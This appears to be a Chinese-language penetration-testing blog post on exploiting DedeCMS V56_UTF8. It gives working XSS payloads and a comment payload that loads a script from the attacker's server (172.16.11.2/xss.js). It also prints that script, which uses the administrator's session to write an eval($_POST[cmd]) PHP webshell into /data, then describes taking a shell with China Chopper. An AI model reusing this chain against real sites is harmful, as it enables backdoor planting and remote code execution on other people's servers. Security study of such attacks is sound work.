0x01 前期测试
本次织梦的版本是V56_UTF8
我们先创建一个账号test,开始在内容中心写文章
然后我们在所有输入框,插入<img src=1 onerror=alert(0) />
,输入验证码后发表
预览文章发现并没有弹窗。
可是我发现在预览文章页面有评论框,那么我们试试评论
发现可以成功
0x02 正式开始
csrf+xss攻击链:在文章区or评论区留下存储型xss,当管理员审核的时候,该xss将在管理员访问的HTML页面新建一个<script>
标签,将其src指向我们服务器上的xss.js文件,也就是把xss.js包含进来,而xss.js的效果是在/data
目录中建立一个test.php
文件(小马)。
于是我们开始配置服务器上的xss.js文件,即将xss.js放在phpstudy的WWW文件夹下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| var request = false; if (window.XMLHttpRequest) { request = new XMLHttpRequest(); if (request.overrideMimeType) { request.overrideMimeType('text/xml'); } } elseif(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for (var i = 0; i < versions.length; i++) { try { request = new ActiveXObject(versions); } catch (e) {} } } xmlhttp = request;
function getFolder(url) { obj = url.split('/') return obj[obj.length - 2] } oUrl = top.location.href; u = getFolder(oUrl); add_admin();
function add_admin() { var url = "/" + u + "/sys_sql_query.php"; var params = "fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++"; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "Keep-Alive"); xmlhttp.send(params); }
|
我们在评论处插入
1
| <img src=x onerror=document.body.appendChild(document.createElement('script')).src='//172.16.11.2/xss.js'>
|
登上管理员账号,审核普通文章,预览文章
因为代码中是将文件写入data文件夹,so查看一下data(模块->文件管理器->data)
上菜刀,拿shell
- 第一种方法没走通,我选择了第二种,后来才发现在文章中插入xss是需要在富文本编辑器中使用源代码编辑方式,学到了。
0x03 反思与总结
- 碰见要cms先提炼关键词搜索,做好信息搜集工作,尤其是开源项目
- 不要一味测试,更要研究学习透背后的原理